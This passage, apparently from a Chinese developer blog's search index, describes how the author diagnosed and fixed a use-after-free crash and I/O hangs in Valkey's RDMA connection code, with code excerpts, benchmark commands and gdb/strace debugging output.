事件来驱动 write handler， 所以 server 用一张待处理链表手动\u0026quot;叫醒\u0026quot;连接, 因为在真正开始传输数据的时候，我们使用的是RDMA的单边建立连接的方法， WRITE_WITH_IMM,来产生通知，就是我知道什么时候可读，但是不知道什么时候可以写：\n/* RDMA connection is always writable, it has no POLLOUT event to drive the write handler, record available write * handler into pending list */ static list *pending_list; 没办法来触发写回调。\n每个 rdma_connection 里有一个 pending_list_node，既是链表节点指针，也是\u0026quot;是否已在列表中\u0026quot;的标志：\ntypedef struct rdma_connection { connection c; struct rdma_cm_id *cm_id; int flags; int last_errno; listNode *pending_list_node; // 这里应该是指向最后的节点 } rdma_connection; 事件循环在 beforeSleep() 里统一处理：\n/* Handle pending data(typical TLS). (must be done before flushAppendOnlyFile) */ int conn_pending = connTypeProcessPendingData(); if (conn_pending \u0026gt; 0) server.el_iteration_active = true; → rdmaProcessPendingData() 遍历 pending_list，对 CLOSED 连接调用 read/write handler 完成清理。\n这个是需要挂到一个链表上进行统一的处理。\nBug：同一条连接被加入 pending_list 两次 # 比如你被释放了两次，那么是否就是会造成UAF,可以仔细分析一下这个链条，也是非常逆天。\n触发场景 # valkey-benchmark --rdma -c 256，Ctrl+C 中断 → 256 条 RDMA 连接几乎同时断开。\n时间线（修复前） # T1 RDMA CM 事件: DISCONNECTED -》 此时发生RDMA断连 rdmaHandleDisconnect() conn-\u0026gt;state = CONN_STATE_CLOSED -》 注意，这个时候修改了连接的状态为CLOSED listAddNodeTail(pending_list, conn) ← 第 1 次入队，node_A -\u0026gt; NULL pending_list_node = node_A T2 同一连接上，write handler 被更新（仍有 pending write） connRdmaSetWriteHandler(func=非NULL) listAddNodeTail(pending_list, conn) ← 第 2 次入队，node_B pending_list_node = node_B ← 加在了node_A后面！ 你可以看到这样的状态，同时 conn-\u0026gt;state = CONN_STATE_CLOSED pending_list: [ node_A → conn ] → [ node_B → conn ] 同一个 conn 出现两次，但 pending_list_node 只记住 B 这里意思就是这样，先加上了node_A(当前连接需要被关闭), 然后加上node_B(当前连接需要处理写事件). 这里入队的条件写的太松了。\n什么是CM事件?\nCM 事件是 RDMA Connection Manager（librdmacm） 向上层应用报告的连接生命周期异步通知。\n在 Valkey 里，它负责\u0026quot;建连/断连\u0026ldquo;这条控制面；\n真正搬数据的数据面走的是 QP + CQ，是另一套 fd 和事件。\n┌─────────────────────────────────────────────┐ │ 应用层 Valkey server / libvalkey client │ ├─────────────────────────────────────────────┤ │ CM 层 librdmacm (rdma_connect/accept) │ ← CM 事件在这里,怪不得我不知道 ├─────────────────────────────────────────────┤ │ Verbs libibverbs (ibv_post_send/recv...) │ ← CQ 完成事件在这里 ├─────────────────────────────────────────────┤ │ 内核 rdma_cm 模块 + ib_uverbs 字符设备 │ ├─────────────────────────────────────────────┤ │ 硬件 HCA (Host Channel Adapter) │ └─────────────────────────────────────────────┘ 这个主要就是在管连接,这里就是CM断连事件。\n这个还需要仔细研究。 CM 事件是 struct rdma_cm_event，由内核 rdma_cm 子系统产生，用户态通过 rdma_get_cm_event() 取出：\nstruct rdma_cm_event { enum rdma_cm_event_type event; // 事件类型 struct rdma_cm_id *id; // 关联的连接标识 ... }; 崩溃路径（修复前的 rdmaProcessPendingData） # 修复前逻辑（parent of 75fee11c6）：\n// 旧代码 — 已不存在于当前树 这个时候预期遍历的是node_A if (conn-\u0026gt;state == CONN_STATE_CLOSED) { // 如果当前连接状态结束,需要删除这个节点 listDelNode(pending_list, rdma_conn-\u0026gt;pending_list_node); // 删的是 node_B rdma_conn-\u0026gt;pending_list_node = NULL; if (callHandler(conn, conn-\u0026gt;read_handler)) { // 正在遍历 node_A callHandler(conn, conn-\u0026gt;write_handler); } ... } 第一轮迭代（ln = node_A）：\npending_list_node 指向 node_B（被 T2 覆盖） listDelNode 删掉 node_B，node_A 还在链表上 callHandler → readQueryFromClient → handleReadResult → freeClientAsync(c)(这个是异步free) if (c-\u0026gt;nread \u0026lt;= 0) { if (c-\u0026gt;nread == -1) { if (connGetState(c-\u0026gt;conn) != CONN_STATE_CONNECTED) { ... freeClientAsync(c); } } else if (c-\u0026gt;nread == 0) { ... freeClientAsync(c); } return C_ERR; freeClientAsync 只是入队，不会立刻 zfree(conn)：\nvoid freeClientAsync(client *c) { if (c-\u0026gt;flag.close_asap || c-\u0026gt;flag.script) return; c-\u0026gt;flag.close_asap = 1; ... listAddNodeTail(server.clients_to_close, c); } 真正 freeClient → connClose → 释放 rdma_connection 在 freeClientsInAsyncFreeQueue()， 发生在 rdmaProcessPendingData() 返回之后：\nprocessed += freeClientsInAsyncFreeQueue(); 假 node_A(node_B)导致连接真的释放了。\n第二轮迭代（ln = node_A，仍在链表上）：\nlistNodeValue(ln) 拿到同一条已标记关闭、可能正在被清理的 conn 再次 callHandler → handleReadResult 访问 c-\u0026gt;nread 等字段 若内存已被复用或 client/conn 处于不一致状态 → SIGSEGV @ 0x8（NULL 指针 + offset 8，典型 use-after-free） 就是第一次node_B已经导致连接被释放了，之后处理node_A的时候还会在释放一次。\nhandleReadResult ← readQueryFromClient ← rdmaProcessPendingData ← beforeSleep 修复：四处改动，一个核心思路 # 核心 invariant：每个 connection 在 pending_list 里最多出现一次； 删除时必须删当前迭代节点 ln，不能信 pending_list_node（它可能已被覆盖）。\nFix 1：rdmaHandleDisconnect — 入队前检查 # /* we can\u0026#39;t close connection now, let\u0026#39;s mark this connection as closed state */ if (rdma_conn-\u0026gt;pending_list_node == NULL) { listAddNodeTail(pending_list, conn); rdma_conn-\u0026gt;pending_list_node = listLast(pending_list); } 如果此时pending_list_node == NULL: 表示为空，此时conn真的可以入队。\nFix 2：connRdmaSetWriteHandler — 同样防重复 # /* does this connection has pending write data? */ if (func) { if (rdma_conn-\u0026gt;pending_list_node == NULL) { listAddNodeTail(pending_list, conn); rdma_conn-\u0026gt;pending_list_node = listLast(pending_list); } } else if (rdma_conn-\u0026gt;pending_list_node) { listDelNode(pending_list, rdma_conn-\u0026gt;pending_list_node); rdma_conn-\u0026gt;pending_list_node = NULL; } 断开时若 write handler 仍被设置，旧代码会无条件再入队一次——这是 duplicate 的主要来源之一,这里就算设置，我们也要检查一次。\nFix 3 + 4：rdmaProcessPendingData — 用 ln 删除 + 先 handler 后删节点 # 现在的处理逻辑:\nstatic int rdmaProcessPendingData(void) { listIter li; listNode *ln; rdma_connection *rdma_conn; connection *conn; int processed = 0; listRewind(pending_list, \u0026amp;li); while ((ln = listNext(\u0026amp;li))) { rdma_conn = listNodeValue(ln); if (rdma_conn-\u0026gt;flags \u0026amp; RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE) continue; conn = \u0026amp;rdma_conn-\u0026gt;c; /* a connection can be disconnected by remote peer, CM event mark state as CONN_STATE_CLOSED, kick connection * read/write handler to close connection */ if (conn-\u0026gt;state == CONN_STATE_ERROR || conn-\u0026gt;state == CONN_STATE_CLOSED) { /* Invoke both read_handler and write_handler, unless read_handler returns 0, indicating the connection has closed, in which case write_handler will be skipped. */ if (callHandler(conn, conn-\u0026gt;read_handler)) { callHandler(conn, conn-\u0026gt;write_handler); } listDelNode(pending_list, ln); rdma_conn-\u0026gt;pending_list_node = NULL; ++processed; continue; } connRdmaEventHandler(NULL, -1, rdma_conn, 0); ++processed; } return processed; } sequenceDiagram participant CM as RDMA CM Event participant Disc as rdmaHandleDisconnect participant WH as connRdmaSetWriteHandler participant PL as pending_list participant BSP as beforeSleep participant PPD as rdmaProcessPendingData participant RH as readQueryFromClient CM-\u0026gt;\u0026gt;Disc: DISCONNECTED Disc-\u0026gt;\u0026gt;PL: add conn (if pending_list_node==NULL) Note over PL: node_A WH-\u0026gt;\u0026gt;PL: add conn again (每次都会加上，问题就出在这里，所以crash是必现) Note over PL: node_B, pending_list_node=B BSP-\u0026gt;\u0026gt;PPD: connTypeProcessPendingData() PPD-\u0026gt;\u0026gt;PPD: iterate ln=node_A Note over PPD: OLD: delete node_B, handler, node_A remains PPD-\u0026gt;\u0026gt;RH: callHandler (2nd iter on node_A) Note over RH: UAF / SIGSEGV @ 0x8 Note over PPD: NEW: guard duplicates + delete ln + handler first ","date":"2026-07-14","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-rdma-server-uaf/","section":"Valkey","summary":"\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/3345\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/issues/3345\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我们遇到的主要现象就是ctrl + C的时候会出现段错误，应该如何解决？\u003c/p\u003e\n\u003cp\u003e这是我们的PR:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/pull/3448\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/pull/3448\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e为了面试的时候讲清楚这个UAF导致的Server Crash问题，我们需要仔细复盘一下，\n这个还是valkey Over RDMA的系列问题之一:\u003c/p\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e背景:RDMA为什么需要pending list \n    \u003cdiv id=\"%E8%83%8C%E6%99%AFrdma%E4%B8%BA%E4%BB%80%E4%B9%88%E9%9C%80%E8%A6%81pending-list\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E8%83%8C%E6%99%AFrdma%E4%B8%BA%E4%BB%80%E4%B9%88%E9%9C%80%E8%A6%81pending-list\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eRDMA 连接没有 TCP 那种 POLLOUT 事件来驱动 write handler，\n所以 server \u003cstrong\u003e用一张待处理链表手动\u0026quot;叫醒\u0026quot;连接\u003c/strong\u003e,\n因为在真正开始传输数据的时候，我们使用的是RDMA的单边建立连接的方法，\nWRITE_WITH_IMM,来产生通知，就是我知道什么时候可读，但是不知道什么时候可以写：\u003c/p\u003e","title":"Valkey Over RDMA测试中server UAF崩溃的问题","type":"valkey"},{"content":" If it\u0026rsquo;s broken, I\u0026rsquo;ll fix it!\n现在重新引入了一个有意思的问题（背景阐述） # 描述: 本次问题解决的是RDMA的多线程导致的崩溃问题. 在我们解决这个问题的同时,实际上主分支正在重构I/O的模型,我们不知道新的I/O模型是否还会出现这样的问题. (之后再进行验证)\n同时我们还需要理解新的I/O模型(之后看PR历史进行学习,这个可以在特性：RedisIO模型中查看问题所在).\n大致是这样的:\nflowchart LR Main[\u0026#34;主线程\u0026#34;] IO[\u0026#34;IO 线程\u0026#34;] Inbox[\u0026#34;io_shared_inbox\u0026lt;br/\u0026gt;SPMC\u0026#34;] Outbox[\u0026#34;io_shared_outbox\u0026lt;br/\u0026gt;MPSC\u0026#34;] Main --\u0026gt;|\u0026#34;JOB_REQ_READ/WRITE\u0026#34;| Inbox Inbox --\u0026gt; IO IO --\u0026gt; Outbox Outbox --\u0026gt;|\u0026#34;JOB_RES_*\u0026#34;| Main 因为现在的主分支的I/O模型已经发生了变化,我想先验证一下在新的模型下,原来的RDMA多线程是否还会存在问题. 我想开一个分支验证一下. 是会存在问题的，这很好.\n现在想在新的I/O模型下测试 # 如果按照原有的力度进行测试,实际上会出问题,但是该概率非常之小,比如如下这样的指令就不会出现问题.\n./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 100 -P 32 -n 20000000 -t get --rdma 通过复现可以看出来实际上还是会存在问题,但是概率很小?→扩大压测的力度?\n# -c 500 增加并发，-P 256 极限流水线，极容易打满 RDMA 的网卡队列 ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 500 -P 256 -n 50000000 -t set,get --rdma 这个混合测试真的很猛,对于新的I/O模型应该是直接可以报错,错误就还是\nc-\u0026gt;cmd_queue.len == 0' is not true 断言的问题.\n这个命令太猛了,就是直接在我们当前的代码测试也会直接I/O hang. 证明还是存在问题的. (这里的思考就是我们压测的力度是否是合理的,就是因为我们的压测命令的参数是没有上限的,难道对于任意的压测指令,我们的程序都应该正常的运转?但是无论如何断言错误是不应该出现的对么?是的，可以处理的慢，但是不能出现段错误) 1.新模型的I/O 会直接assertion报错 2.原来的模型,这个也是会死锁.(或者是出现I/O hang的问题?这个问题可以暂时先放着.)\n# -d 8192 甚至更高，测试大块数据在 RDMA 传输时是否会导致内存踩踏或分配器崩溃 ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 8192 --threads 16 -c 200 -P 64 -n 10000000 -t set --rdma 这个就是很慢,但是最终还是可以完成,感觉也是存在一些问题. 这个我们就暂时认为是没有问题的. 现在也不会卡死了，我们真的在解决问题。\n继续尝试解决这个问题 # server进行编译:\nsudo prlimit --memlock=unlimited --pid $$ sudo modprobe dummy sudo ip link add dummy0 type dummy sudo ip link set dummy0 up sudo ip addr add 10.0.0.1/24 dev dummy0 sudo rdma link add rxe_dummy type rxe netdev dummy0 sudo systemctl stop valkey make -j$(nproc) BUILD_RDMA=yes USE_FAST_FLOAT=yes # 注意这里开启多线程的编译 sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 每当端口真的被占用的时候:\nsudo lsof -i :6379 lsof (List Open Files) 用于列出当前系统打开的文件。 在 Linux 中“一切皆文件”，网络 socket 也被视为文件。-i :6379 表示过滤出占用 6379 端口的网络连接。\n~/Project/valkey fix-rdma-assertion-new-io* ❯ sudo lsof -i :6379 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME valkey-se 26355 root 8u IPv4 148550 0t0 TCP *:redis (LISTEN) ~/Project/valkey fix-rdma-assertion-new-io* ❯ sudo kill 26355 client测试:\nsudo prlimit --memlock=unlimited --pid $$ ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 500 -P 256 -n 50000000 -t set,get --rdma 然后我们的valkey.conf是这样. 确实,这个单线程确实没有问题,只会在存在多个io线程的时候,才会报错.\nio-threads 4 save \u0026#34;\u0026#34; protected-mode no bind 0.0.0.0 然后我们还是能稳定复现之前的错误.\n细节讨论 # 你还是首先需要深刻理解IO对于客户端任务的流转特性：RedisIO模型 一定要深刻理解我们需要如何解决这个问题，这是我们第一次和pizhenwei进行比较深刻的技术讨论。 画了一张架构图深刻理解问题在哪里,这是我的得意之作。(虽然看起来很垃圾) 首先声明和梳理几个变量:\n状态机 含义 io_read_state / io_write_state offload 生命周期：IDLE → PENDING_IO → COMPLETED_IO → IDLE cmd_queue IO 已解析、主线程尚未执行的 pipeline 命令-\u0026gt;这里就是解析命令的作用 这里的断言就是你不能还没执行之前的命令，就又来解析新的命令。\nRDMA 特殊之处：没有独立 POLLOUT事件； connUpdateState() → connRdmaEventHandler() 会同步调 read_handler / write_handler。\n解决问题的时候发现GET居然还会出现access nil的错误 # 这种多线程的问题真的太复杂了。難しい過ぎます。\n错误日志太长，我们把这个日志放在一个文件内部进行分析, 有的时候大多数错误没有意义，但是你看不到最前面的错误了。\nsudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 \u0026gt; valkey-run.log 2\u0026gt;\u0026amp;1 我觉得可能还是之前在多线程下RDMA的崩溃问题老的线程模型中引入过的问题，我们可以继续探究一下，这个印度人确实很厉害,但是实际上看起来不是一个问题。 使用:\nsudo prlimit --memlock=unlimited --pid $$ ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 500 -P 256 -n 50000000 -t set,get --rdma 进行压测的时候，进入GET阶段的时候，如果ctrl + c则server必然会crash导致错误，这同样还是一个严重的问题。 就是遇到这种崩溃，你具体应该怎么抓，就是谁的调用才导致了本次的崩溃？ 先检查server二进制文件是否存在调试符号：\n~/Project/valkey fix-rdma-assertion-new-io* ❯ file ./src/valkey-server ./src/valkey-server: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=afbcceb012f03c869136fe49f6f71261a65185af, for GNU/Linux 4.4.0, with debug_info, not stripped 然后在gdb内部运行：\n~/Project/valkey fix-rdma-assertion-new-io* ❯ sudo gdb --args ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 先跑server：\nset pagination off handle SIGPIPE nostop noprint run 等到崩溃之后：\nthread apply all bt bt frame 1 info frame 这样可以来查看thread frame来找到底是谁调用到了access nil的函数。 这个就非常爽了，直接就能查看到底是哪里炸掉了：\nThread 1 (Thread 0x7ffff7c90740 (LWP 42401) \u0026#34;valkey-server\u0026#34;): #0 listUnlinkNode (list=0x7ffff743d420, node=0x0) at /home/ada/Project/valkey/src/adlist.c:194 #1 0x000055555570ef56 in listDelNode (list=0x7ffff743d420, node=0x0) at /home/ada/Project/valkey/src/adlist.c:183 #2 rdmaProcessPendingData () at /home/ada/Project/valkey/src/rdma.c:1785 #3 0x0000555555747f93 in connTypeProcessPendingData () at /home/ada/Project/valkey/src/connection.c:147 #4 beforeSleep (eventLoop=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/server.c:1878 #5 beforeSleep (eventLoop=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/server.c:1842 #6 0x00005555555fa1df in aeProcessEvents (flags=27, eventLoop=0x7ffff744d000) at /home/ada/Project/valkey/src/ae.c:426 #7 aeMain (eventLoop=0x7ffff744d000) at /home/ada/Project/valkey/src/ae.c:543 #8 0x00005555555e94fb in main (argc=6, argv=0x7fffffffe298) at /home/ada/Project/valkey/src/server.c:7795 从下往上可以清晰地看到调用链，真是分析的利器。 可以看到上面的node=0x0的时候就是出问题的时候。 beforeSleep → connTypeProcessPendingData → rdmaProcessPendingData（rdma.c:1785）→ listDelNode(pending_list, rdma_conn-\u0026gt;pending_list_node) → listUnlinkNode，其中 node == NULL。 这里就是进行了多次释放导致问题的出现。\n闹了半天又绕回来了，实际上这个问题就是我们在Valkey Over RDMA测试中server UAF崩溃的问题中解决的单独的ctrl + c导致server crash的问题 此时已经闭环了，理论上只要合入最新的代码就不会存在这个问题了link 去看看修复的原理。 测试不存在这个问题了，那真的很爽了。\n细节打磨 # 目前看起来好像是解决了问题,但是细节还需要进行进一步打磨. 经过初步的修改我们发现了很有趣的地方,就是对于这个混合指令集:\n./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 500 -P 256 -n 50000000 -t set,get --rdma 实际上这里应该是先进行很多次set,然后紧接着进行很多次get. 原来没有调整顺序之前,set没有问题,但是之后紧接着get的时候会报这个错误,就是我认领的另外一个issue: https://github.com/valkey-io/valkey/issues/3356 那我们就在这个基础上继续去解决问题.\n我现在不太清楚的一个点就是,我们在新的I/O模型下的改动是否能直接应用到旧的分支上, 这样我们就不需要开启两个PR来尝试解决这个问题了,就是还是只需要在原来的基础上修改即可. 我们现在清楚手法，但是需要一个更干净的手段来处理问题。\n这个应该是不行的,针对最新的unstable分支和原来的老版本,我们需要使用不同的手法来进行处理. 还是先尝试实验性的修改, 难度真的很大,等到有评论之后再进行推进. 目前先提交一版代码,之后存在问题的情况再说吧.\n大概看看新的IO模型 # 特性：RedisIO模型 相当于在这里IO线程由被动变成主动的了 架构对比图 旧架构 (轮询模式): 主线程 IO线程1 IO线程2 IO线程3\n\u0026ndash;[任务]\u0026ndash;\u0026gt;[队列1]\u0026mdash;\u0026mdash;\u0026gt; \u0026ndash;[任务]\u0026ndash;\u0026gt;[队列2]\u0026mdash;\u0026mdash;\u0026gt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026ndash;\u0026gt; \u0026ndash;[任务]\u0026ndash;\u0026gt;[队列3]\u0026mdash;\u0026mdash;\u0026gt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt; \u0026lt;-[轮询检查所有客户端]\u0026lt;- (低效,浪费CPU) 新架构 (事件驱动): 主线程 IO线程1 IO线程2 IO线程3\n↓ ↓ ↓ \u0026ndash;[任务]\u0026ndash;\u0026gt;[共享SPMC队列]←-竞争拉取- (自动负载均衡) \u0026lt;\u0026mdash;[MPSC响应队列]\u0026lt;\u0026mdash;\u0026ndash;+\u0026mdash;-+\u0026mdash;-+ (快速通知,无需轮询) 目前还是存在IO hang的问题 # 不能work around,能卡住证明这个改动本身就是存在问题的. htop排查问题 使用这个来看内存,CPU的使用率,问题可能出在哪里? perf查看热点函数 找到了某个进程之后,你就可以查看热点函数在哪里,分析为什么停在了这里. 我还是想再研究一下,旧的逻辑是否能够直接应用上去. 现在找不到卡死的原因.\n我们记录一下解决卡死问题的过程. # 目前就是偶发的会卡住. 现象: 1.一般两个CPU核心空转. 2.结束之后,再起benchmark的时候还是会直接卡死.\n先看看卡在client还是server # 这里利用strace命令来进行分析,就是先查看benchmark上的线程都在干什么?\npid=\u0026#34;$(pgrep -nf valkey-benchmark)\u0026#34; sudo timeout 15 strace -c -f -p \u0026#34;$pid\u0026#34; timeout 15 15s自动停止,进行所有线程的统计,可以观察到现象:\n~/Project/valkey fix-rdma-assertion-new-io* ❯ pid=\u0026#34;$(pgrep -nf valkey-benchmark)\u0026#34; sudo timeout 15 strace -c -f -p \u0026#34;$pid\u0026#34; strace: Process 64770 attached with 17 threads strace: Process 64791 detached strace: Process 64793 detached strace: Process 64792 detached strace: Process 64790 detached strace: Process 64789 detached strace: Process 64788 detached strace: Process 64787 detached strace: Process 64786 detached strace: Process 64785 detached strace: Process 64784 detached strace: Process 64783 detached strace: Process 64782 detached strace: Process 64781 detached strace: Process 64780 detached strace: Process 64779 detached strace: Process 64778 detached strace: Process 64770 detached % time seconds usecs/call calls errors syscall ------ ----------- ----------- --------- --------- ---------------- 99.89 0.233949 244 956 epoll_wait 0.11 0.000252 4 59 write ------ ----------- ----------- --------- --------- ---------------- 100.00 0.234201 230 1015 total benchmark的程序都在epoll_wait,这意味着server侧的RDMA路径应该卡住,并且不再回包导致的.\n接下来我们看看server到底在干什么 # PID=64539 top - 23:06:29 up 9:08, 1 user, load average: 2.75, 2.84, 2.81 Threads: 13 total, 2 running, 11 sleep, 0 d-sleep, 0 stopped, 0 zombie %Cpu(s): 7.7 us, 0.5 sy, 0.0 ni, 91.1 id, 0.5 wa, 0.2 hi, 0.2 si, 0.0 st MiB Mem : 15673.7 total, 1471.2 free, 12377.8 used, 4286.4 buff/cache MiB Swap: 4096.0 total, 2244.7 free, 1851.3 used. 3295.9 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 64539 root 20 0 2946372 2.6g 1.5g R 99.3 16.9 40:12.97 valkey-+ 64545 root 20 0 2946372 2.6g 1.5g R 99.3 16.9 40:16.35 io_thd_1 64540 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 bio_clo+ 64541 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 bio_aof 64542 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 bio_laz+ 64543 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 bio_rdb+ 64544 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 bio_tls+ 64546 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:06.25 io_thd_2 64547 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:05.07 io_thd_3 64548 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 jemallo+ 64549 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 jemallo+ 64550 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 jemallo+ 64551 root 20 0 2946372 2.6g 1.5g S 0.0 16.9 0:00.00 jemallo+ 你应该能看到是一个主线程CPU和一个IO线程在忙等?主要就是这两个线程.\n不使用GDB查看内核栈的快照 # sudo cat /proc/$pid/stack for tid in /proc/$pid/task/*; do echo \u0026#34;=== $(basename $tid) ===\u0026#34; sudo cat $tid/stack 2\u0026gt;/dev/null | head -20 done | less 遍历所有的pid下的tid来查看栈. 但是上面的64539和64545没有抓到?\n接着我们使用GDB来查看快照 # ~/Project/valkey fix-rdma-assertion-new-io* ❯ sudo gdb -p \u0026#34;$pid\u0026#34; -batch \\ -ex \u0026#34;set pagination off\u0026#34; \\ -ex \u0026#34;thread apply all bt\u0026#34; \\ -ex \u0026#34;detach\u0026#34; \\ -ex \u0026#34;quit\u0026#34; \\ 2\u0026gt;\u0026amp;1 | tee /tmp/valkey-hang-bt.txt # lightweight process 轻量级进程:这12个是子进程 最后面的64539是主进程 [New LWP 64551] [New LWP 64550] [New LWP 64549] [New LWP 64548] [New LWP 64547] [New LWP 64546] [New LWP 64545] [New LWP 64544] [New LWP 64543] [New LWP 64542] [New LWP 64541] [New LWP 64540] [Thread debugging using libthread_db enabled] Using host libthread_db library \u0026#34;/usr/lib/libthread_db.so.1\u0026#34;. postponeClientRead (c=0x7f00c6b68e80) at /home/ada/Project/valkey/src/networking.c:6409 6409 if (ProcessingEventsWhileBlocked) return 0; Thread 13 (Thread 0x7f00ff7326c0 (LWP 64540) \u0026#34;bio_close_file\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f21b00b in mutexQueuePop (theQueue=0x7f0100852380, blocking=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/mutexqueue.c:123 #5 0x0000558c5f15ecee in bioProcessBackgroundJobs (arg=0x558c5f4f1280 \u0026lt;bio_workers.lto_priv\u0026gt;) at /home/ada/Project/valkey/src/bio.c:269 #6 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #7 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 12 (Thread 0x7f00fef316c0 (LWP 64541) \u0026#34;bio_aof\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f21b00b in mutexQueuePop (theQueue=0x7f01008523f0, blocking=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/mutexqueue.c:123 #5 0x0000558c5f15ecee in bioProcessBackgroundJobs (arg=0x558c5f4f1298 \u0026lt;bio_workers.lto_priv+24\u0026gt;) at /home/ada/Project/valkey/src/bio.c:269 #6 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #7 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 11 (Thread 0x7f00fe7306c0 (LWP 64542) \u0026#34;bio_lazy_free\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f21b00b in mutexQueuePop (theQueue=0x7f0100852460, blocking=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/mutexqueue.c:123 #5 0x0000558c5f15ecee in bioProcessBackgroundJobs (arg=0x558c5f4f12b0 \u0026lt;bio_workers.lto_priv+48\u0026gt;) at /home/ada/Project/valkey/src/bio.c:269 #6 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #7 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 10 (Thread 0x7f00fdf2f6c0 (LWP 64543) \u0026#34;bio_rdb_save\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f21b00b in mutexQueuePop (theQueue=0x7f01008524d0, blocking=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/mutexqueue.c:123 #5 0x0000558c5f15ecee in bioProcessBackgroundJobs (arg=0x558c5f4f12c8 \u0026lt;bio_workers.lto_priv+72\u0026gt;) at /home/ada/Project/valkey/src/bio.c:269 #6 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #7 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 9 (Thread 0x7f00fd72e6c0 (LWP 64544) \u0026#34;bio_tls_reload\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f21b00b in mutexQueuePop (theQueue=0x7f0100852540, blocking=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/mutexqueue.c:123 #5 0x0000558c5f15ecee in bioProcessBackgroundJobs (arg=0x558c5f4f12e0 \u0026lt;bio_workers.lto_priv+96\u0026gt;) at /home/ada/Project/valkey/src/bio.c:269 #6 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #7 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 8 (Thread 0x7f00fcf2d6c0 (LWP 64545) 